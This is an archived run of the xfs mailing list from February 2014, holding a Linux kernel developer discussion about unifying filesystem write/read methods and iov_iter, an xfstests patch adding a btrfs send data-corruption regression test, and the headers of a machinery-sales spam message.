Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id yOQBw7bzRTYKTftP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 08:24:15 -0800 (PST) X-Barracuda-Envelope-From: dave.kleikamp@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s13GNGaD017241 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Feb 2014 16:23:17 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s13GNE8Q002459 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 3 Feb 2014 16:23:15 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s13GNEht026408; Mon, 3 Feb 2014 16:23:14 GMT Received: from [192.168.1.103] (/99.156.91.244) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 03 Feb 2014 08:23:14 -0800 Message-ID: <52EFC271.3090205@oracle.com> Date: Mon, 03 Feb 2014 10:23:13 -0600 From: Dave Kleikamp User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Al Viro , Linus Torvalds CC: Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Zach Brown Subject: Re: [RFC] unifying write variants for filesystems References: <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems In-Reply-To: <20140201224301.GS10323@ZenIV.linux.org.uk> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391444655 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144789 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e On 02/01/2014 04:43 PM, Al Viro wrote: > On Mon, Jan 20, 2014 at 12:32:01PM -0800, Linus Torvalds wrote: >> On Mon, Jan 20, 2014 at 5:55 AM, Christoph Hellwig wrote: >>> On Sun, Jan 19, 2014 at 05:13:35AM +0000, Al Viro wrote: >>>> Folks, what do you think about the following: >>> >>> That's very much what Shaggy did in the aio-direct tree, except that >>> it kept using a single set of methods. Linus really didn't like it >>> unfortunately. >> >> Umm. That wasn't what I objected to. >> >> I objected to the incredibly ugly implementation, the crazy new flags >> arguments for core helper functions, ugly naming etc etc. I even >> outlined what might fix it. >> >> In other words, I thought the code was shit and ugly. Not that >> iterators per se would be wrong. Just doing them badly is wrong. > > Gyahhh... OK, I should've known better than go looking into that thing > after such warning. Some relatively printable notes (i.e. about 10% > of the comments I really had about that) follow: Thanks for the feedback. I'd been asking for feedback on this patchset for some time now, and have not received very much. This is all based on some years-old work by Zach Brown that he probably wishes would have disappeared by now. I pretty much left what I could alone since 1) it was working, and 2) I didn't hear any objections (until now). It's clear now that the patchset isn't close to mergable, so treat it like a proof-of-concept and we can come up with a better container and read/write interface. I won't respond individually to your comments, but will take them all into consideration going forward. Thanks, Shaggy > * WTF bother passing 'pos' separately? It's the same mistake that was > made with ->aio_read/->aio_write and just as with those, *all* callers > provably have pos == iocb->ki_pos. > > * I'm not sure that iov_iter is a good fit here. OTOH, it probably could > be reused (it has damn few users right now and they are on the codepaths > involved into that thing). > > * We *definitely* want a variant structure with tag - unsigned long thing > was just plain insane. I see at least two variants - array of iovecs > and array of (at least) triples . Quite possibly - > quadruples, with "here's how to try to steal this page" thrown in, if > we want that as replacement for ->splice_write() as well (it looks like > the few instances that do steal on pipe-to-file splices could be dealt > with the same way as the dumb ones, provided that ->write_iter or whatever > we end up calling it is allowed to try and steal pages). Possibly more > variants on the read side of things... FWIW, I'm not sure that bio_vec > makes a lot of sense here. > > * direction (i.e. source vs. destination) also should be a part of that > tag. Which, BTW, turns ->direct_IO() into iocb x iov_iter -> int; > the situation with pos is identical to aio_read/aio_write. While we > are at it, KERNEL_WRITE thing (used only for __swap_writepage()) looks > very much like a special case of "array of " we want > for splice_write... > > * having looked through the ->read and ->write instances in drivers, > I'd say that surprisingly few helpers would go a _long_ way towards > converting those guys to the same methods. And we need such helpers > anyway - there's a whole lot of (badly) open-coded "copy the whole > user buffer into kmalloc'ed array and NUL-terminate the sucker" logics > in ->write() instances, for example. Even more "copy up to that much > into given array and NUL-terminate it", with rather amusing bugs in > there - e.g. NUL going into the end of array, regardless of the actual > amount of data to copy; junk is left in the middle, complete with > printk of the entire thing if it doesn't make sense. IOW, spewing > random piece of kernel stack into dmesg. Off-by-ones galore, too... > > BTW, speaking of bogosities - grep for generic_write_checks(). Exactly > one caller (in __generic_file_aio_write()) has any business looking > at S_ISBLK(inode->i_mode) - it can be called by blkdev_aio_write(). > All other callers have copied that, even though it makes absolutely > no sense for them... > > * file_readable/file_writable looks really wrong; if nothing else, I would > rather check that after open() and set a couple of FMODE bits, then check > those. Possibly even "knock FMODE_READ/FMODE_WRITE out if there's no > method"... > > * pipe_buffer_operations ->map()/->unmap() should die; let the caller do > k{,un}map{,_atomic}(). All instances have the same method there and > there's no point to make it different. PIPE_BUF_FLAG_ATOMIC should also > go. > > * WTF do iov_iter_copy_from_user_atomic() callers keep doing pagefault_disable > and pagefault_enable around it? The sucker starts with kmap_atomic() and > ends with kunmap_atomic(); all instances of those guys have pagefaul > disabling/enabling (and I suspect that it might make sense to lift it > out of arch-specific variants - rename them to e.g. __kmap_atomic(), > rip pagefault_disable() out of those and put kmap_atomic() into highmem.h > outside of ifdef, with !HIGHMEM side of ifdef having #define __kmap_atomic > page_address; move pagefault_enable() from __kunmap_atomic() to > kunmap_atomic() while we are at it). > > Note that e.g. pipe.c relies on kmap_atomic() disabling pagefaults - we > have __copy_from_user_inatomic() done there under kmap_atomic(), and we > really don't want to block in such conditions. > > * pipe_iov_copy_from_user() ought to return how much has it managed to > bring in, not 0 or -EFAULT as it does now. Then it won't need the > non-atomic side, AFAICS. Moreover, we'll just be able to use > iov_iter_copy_from_user_atomic() (which badly needs a more palatable > name, BTW). > > * sure, we want to call do_generic_file_read() once, passing the entire > iovec to file_read_actor(). But what the hell does that have to do with > introduction of new methods? It's a change that makes sense on its > own. Moreover, it's a damn good preparation to adding those - we > get generic_file_aio_read() into "set iov_iter up, then do ", > with using iov_iter instead of iovec. Once we get to introducing > those methods, it's just a matter of taking the rest of generic_file_aio_read() > into a separate function and making that function an instance of new > method... > > * Unrelated to this patchset, but... may I politely inquire about the reasons > why ->is_partially_uptodate() gets read_descriptor_t? The whole point > of read_descriptor_t (if it has any) is that its interpretation is up to > whoever's doing the reading, _not_ what they are reading from. So desc->arg > is off-limits for any instance of ->is_partially_uptodate(). desc->written is > obviously pointless for them; the need (or lack thereof) to do something > to the page doesn't depend on how much have we already read from the > file. Moreover, reporting an error is rather dubious in such method; > if there's something fishy with the page, we'll just return "no" and let > ->readpage() complain. Which leaves only desc->count, which, unsurprisingly, > is the only thing looked at by (the only) instance of that method. And > "tell me if the part of this page that long starting from that offset is > up to date" is much more natural that "is what this read_descriptor_t would > have had us read from this offset in this page up to date?"... > > * do we really need separate non-atomic variant of iov_iter_copy_from_user()? > We have only two users right now (cifs and ceph) and both can use the > fault-in / atomic copy loop without much pain... > > * in addition to having too many methods, I'm not convinced that we want > them to be methods. Let's start with explicit checks in the primitives and > see where it goes from there; if we start to grow too many variants, > we can always introduce some methods, but then we'll be in better position > to decide what is and what is not a good method... > > * on the read side, I really don't believe that exposing atomic and > non-atomic variants is a good idea. Look at the existing users of > __copy_to_user_inatomic(); leaving aside the i915_gem weirdness, > all of them are used to implement the exact same thing: given a page, > offset and length, feed its contents to iovec/buffer/whatnot. Unlike > the write side of things, there's nothing between prefaulting pages > and actual attempts to copy. So let's make _that_ an exposed primitive > and let it deal with kmap/kmap_atomic/etc. Variants that don't have > to worry about blocking (vector of , etc.) would > simply not bother with non-atomic kmap, etc. Sure, it should take > iov_iter as destination. And deal with mapping the damn thing internally... > > * ntfs_file_buffered_write() should switch to iov_iter as well. It's > open-coding a lot of iov_iter stuff. It's not entirely trivial and > I'd really like to hear from ntfs folks on that, though, and the current > code looks deadlock-prone. We prefault everything, then lock the pages > to which we'll be copying, then attempt to do __copy_from_user_inatomic(), > falling back to __copy_from_user() if that fails. Fine, but what happens > if the source of write() is mmaped from the same file and we lose CPU while > prefaulting the last page, have memory pressure evict the first one, then > have __ntfs_grab_cache_pages() allocate and lock (nonuptodate) pages > we'll be copying to and have __copy_from_user() try to copy *from* those > same pages? We are doing it while holding these pages locked, so pagefault > will have really fun time with them... Anton? > > BTW, Linus, when did you comment on that patchset? I've found an iteration > of that patchset circa last October (v9, apparently the latest posted), > but it looks like your comments had either got lost or had been on the > earlier iteration of that thing... > From viro@ftp.linux.org.uk Mon Feb 3 10:24:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DF71A7FD7 for ; Mon, 3 Feb 2014 10:24:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 727E0AC001 for ; Mon, 3 Feb 2014 08:24:53 -0800 (PST) X-ASG-Debug-ID: 1391444690-04bdf0121dcfcb0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id PEDsZb8ZX4A4awVg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 08:24:51 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WAMK1-0005aB-BN; Mon, 03 Feb 2014 16:24:33 +0000 Date: Mon, 3 Feb 2014 16:24:33 +0000 From: Al Viro To: Christoph Hellwig Cc: Linus Torvalds , Jens Axboe , Steve French , Sage Weil , Dave Kleikamp , Mark Fasheh , xfs@oss.sgi.com, Joel Becker , linux-fsdevel , Anton Altaparmakov Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140203162433.GX10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <20140203151242.GA6868@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140203151242.GA6868@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391444691 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144789 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 03, 2014 at 07:12:42AM -0800, Christoph Hellwig wrote: > > we end up calling it is allowed to try and steal pages). Possibly more > > variants on the read side of things... FWIW, I'm not sure that bio_vec > > makes a lot of sense here. > > bio_vec just is one of the many page+offset+len containers we have, I > guess Dave took it because loop uses it. We could either invent a new > one here or finally have a common one for the different uses all over > the kernel. *blink* Good luck unifying all such uses. That would have to include the things needed by pipe_buffer, DMA-related bits for scatterlist, etc. I don't believe that it's feasible, or would've been a good idea in the first place... From fdmanana@gmail.com Mon Feb 3 10:39:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 498F97F69 for ; Mon, 3 Feb 2014 10:39:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 382E18F8039 for ; Mon, 3 Feb 2014 08:39:44 -0800 (PST) X-ASG-Debug-ID: 1391445581-04cb6c6de1c1600001-NocioJ Received: from mail-we0-f176.google.com (mail-we0-f176.google.com [74.125.82.176]) by cuda.sgi.com with ESMTP id dZneBCi6iK2NURKR (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 03 Feb 2014 08:39:42 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.176 Received: by mail-we0-f176.google.com with SMTP id q58so2435944wes.7 for ; Mon, 03 Feb 2014 08:39:41 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=GCZmSK1HRC5UnyounJkRBCuUBL4c+Toocq5bZdu48rk=; b=jZp7oBSk5IJ5/i3OUn6MGj10yl03PdZ1230u36XSnnsHJb8RTnInTYpgoVLWlVqzCx WoiF4T9NQB4BgmM5SNxuMsGyu5Pnl3xnEnMkycfMNcPdPdJKytwtlOjHylMOUe4OR02D mydmmkP7jPlWDkIJ2Ifs8Q1FEph1am0TXvOspg5DhAo994zhcSNODp/Ld1THzOnjfTSp otWKR6QgXMXo0lPkEd9GJ3HJA6qellwXCxcfW1ofkO4syYjmSc53mUCCrciDPijATILh 59q/aFE4OcJYSnaqENUlzYdhC3Cc4dqg5ReTQUpt1TWVTJBUKVKqA/oipmokAX4BGZdC F6nQ== X-Received: by 10.194.219.1 with SMTP id pk1mr5172373wjc.36.1391445581647; Mon, 03 Feb 2014 08:39:41 -0800 (PST) Received: from storm-desktop.lan (bl5-4-53.dsl.telepac.pt. [82.154.4.53]) by mx.google.com with ESMTPSA id r1sm27319111wia.5.2014.02.03.08.39.40 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 03 Feb 2014 08:39:41 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH RESEND] xfstests: add test for btrfs incremental send data corruption Date: Mon, 3 Feb 2014 16:39:20 +0000 X-ASG-Orig-Subj: [PATCH RESEND] xfstests: add test for btrfs incremental send data corruption Message-Id: <1391445560-3737-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-we0-f176.google.com[74.125.82.176] X-Barracuda-Start-Time: 1391445582 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144789 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Btrfs incremental send had an issue where it would detect a non-existent file hole and then overwrite the file section that hole covers with zeroes, overriding file data that it shouldn't. The respective btrfs kernel patch that fixed this issue is titled: Btrfs: fix send file hole detection leading to data corruption (https://patchwork.kernel.org/patch/3544831/) Signed-off-by: Filipe David Borba Manana Reviewed-by: Josef Bacik --- This is a patch resend, without any changes to the test, since Dave Chinner told in his last e-mail to resend any patches that he might have missed on the last patch merge party. tests/btrfs/034 | 101 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/034.out | 6 +++ tests/btrfs/group | 1 + 3 files changed, 108 insertions(+) create mode 100755 tests/btrfs/034 create mode 100644 tests/btrfs/034.out diff --git a/tests/btrfs/034 b/tests/btrfs/034 new file mode 100755 index 0000000..db792de --- /dev/null +++ b/tests/btrfs/034 @@ -0,0 +1,101 @@ +#! /bin/bash +# FS QA Test No. btrfs/034 +# +# Test for a btrfs incremental send data corruption issue due to +# bad detection of file holes. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` + +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +# Create a file such that its file extent items span at least 3 btree leafs. +# This is necessary to trigger a btrfs incremental send bug where file hole +# detection was not correct, leading to data corruption by overriding latest +# data regions of a file with zeroes. + +run_check $XFS_IO_PROG -f -c "truncate 104857600" $SCRATCH_MNT/foo + +for ((i = 0; i < 940; i++)) +do + OFFSET=$((32768 + i * 8192)) + LEN=$((OFFSET + 8192)) + run_check $XFS_IO_PROG -c "falloc -k $OFFSET $LEN" $SCRATCH_MNT/foo + run_check $XFS_IO_PROG -c "pwrite -S 0xf0 $OFFSET 4096" $SCRATCH_MNT/foo +done + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 + +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT +run_check $XFS_IO_PROG -c "truncate 3882008" $SCRATCH_MNT/foo + +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 + +run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +md5sum $SCRATCH_MNT/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch + +run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/034.out b/tests/btrfs/034.out new file mode 100644 index 0000000..808e6b4 --- /dev/null +++ b/tests/btrfs/034.out @@ -0,0 +1,6 @@ +QA output created by 034 +9023ed93111c422d82e9cd54043a6fb0 SCRATCH_MNT/foo +8e58ce8749d203f29f6b8f6990da722f SCRATCH_MNT/mysnap1/foo +9023ed93111c422d82e9cd54043a6fb0 SCRATCH_MNT/mysnap2/foo +8e58ce8749d203f29f6b8f6990da722f SCRATCH_MNT/mysnap1/foo +9023ed93111c422d82e9cd54043a6fb0 SCRATCH_MNT/mysnap2/foo diff --git a/tests/btrfs/group b/tests/btrfs/group index b29236c..f9f062f 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -36,3 +36,4 @@ 031 auto quick 032 auto quick 033 auto quick +034 auto quick -- 1.7.9.5 From dave.kleikamp@oracle.com Mon Feb 3 10:50:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 496797FD0 for ; Mon, 3 Feb 2014 10:50:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 37FC730407A for ; Mon, 3 Feb 2014 08:50:58 -0800 (PST) X-ASG-Debug-ID: 1391446256-04cb6c6de0c2380001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id bZ8Iu7KXnzbASPcF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 03 Feb 2014 08:50:57 -0800 (PST) X-Barracuda-Envelope-From: dave.kleikamp@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s13Go5nd020998 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 3 Feb 2014 16:50:06 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s13Go40O026023 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 3 Feb 2014 16:50:04 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s13Go3Qb019729; Mon, 3 Feb 2014 16:50:03 GMT Received: from [192.168.1.103] (/99.156.91.244) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 03 Feb 2014 08:50:03 -0800 Message-ID: <52EFC8BA.3010906@oracle.com> Date: Mon, 03 Feb 2014 10:50:02 -0600 From: Dave Kleikamp User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Christoph Hellwig , Al Viro CC: Linus Torvalds , Jens Axboe , Steve French , Sage Weil , Mark Fasheh , xfs@oss.sgi.com, Joel Becker , linux-fsdevel , Anton Altaparmakov , Kent Overstreet Subject: Re: [RFC] unifying write variants for filesystems References: <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <20140203151242.GA6868@infradead.org> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems In-Reply-To: <20140203151242.GA6868@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391446256 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144790 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/03/2014 09:12 AM, Christoph Hellwig wrote: > On Sat, Feb 01, 2014 at 10:43:01PM +0000, Al Viro wrote: >> * WTF bother passing 'pos' separately? It's the same mistake that was >> made with ->aio_read/->aio_write and just as with those, *all* callers >> provably have pos == iocb->ki_pos. > > I think this landed with the initial aio support, which planned for > allowing AIO retries for a workqueue with a partially incremented > pos. None of this ever got merged, probably because it was too ugly > to live. Yeah, when these patches were first written, AIO looked a lot different. >> * We *definitely* want a variant structure with tag - unsigned long thing >> was just plain insane. I see at least two variants - array of iovecs >> and array of (at least) triples . Quite possibly - >> quadruples, with "here's how to try to steal this page" thrown in, if >> we want that as replacement for ->splice_write() as well (it looks like >> the few instances that do steal on pipe-to-file splices could be dealt >> with the same way as the dumb ones, provided that ->write_iter or whatever >> we end up calling it is allowed to try and steal pages). Possibly more >> variants on the read side of things... FWIW, I'm not sure that bio_vec >> makes a lot of sense here. > > bio_vec just is one of the many page+offset+len containers we have, I > guess Dave took it because loop uses it. We could either invent a new > one here or finally have a common one for the different uses all over > the kernel. With Kent's immutable bio_vec changes, peeking inside the bio to get to the bio_vec is uglier than it was before, so there's no need to stick with that. Shaggy From Alva@ibamarket.com Mon Feb 3 10:54:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.6 required=5.0 tests=DATE_IN_PAST_96_XX, DEAR_SOMETHING,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A7CD87F51 for ; Mon, 3 Feb 2014 10:54:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1EA2EAC001 for ; Mon, 3 Feb 2014 08:54:18 -0800 (PST) X-ASG-Debug-ID: 1391446456-04cb6c6de3c2600001-NocioJ Received: from mail.IBAMARKET.COM (244-0-143-198.rev.openvirtuals.com [198.143.0.244]) by cuda.sgi.com with ESMTP id cSCBCsDUnisyxFXB for ; Mon, 03 Feb 2014 08:54:16 -0800 (PST) X-Barracuda-Envelope-From: Alva@IBAMARKET.COM X-Barracuda-Apparent-Source-IP: 198.143.0.244 X-AuthUser: Alva@IBAMARKET.COM Received: from IBAMARKET.COM ([114.46.211.253]:3698) by IBAMARKET.COM with [XMail 1.27 ESMTP Server] id for from ; Mon, 3 Feb 2014 19:54:13 +0300 Date: Tue, 21 Jan 2014 11:54:13 +0800 From: "Manual Lathe Taiwan" To: "xfs" Subject: Conventional Lathe Taiwan---Your only choice for the conventional lathe; Precise, Rigid and Competitive Price Message-Id: <1765582984-1047357957@IBAMARKET.COM> X-ASG-Orig-Subj: Conventional Lathe Taiwan---Your only choice for the conventional lathe; Precise, Rigid and Competitive Price X-mailer: Foxmail 6, 14, 103, 24 [cn] MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=====XGG_hRrG7_xApZBtVT18J9O3bj7vuanvsW_=====" Reply-To: manual-lathe@umail.hiunet.net In-Reply-To: <1765582984-1047357957@IBAMARKET.COM> X-Barracuda-Connect: 244-0-143-198.rev.openvirtuals.com[198.143.0.244] X-Barracuda-Start-Time: 1391446456 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi 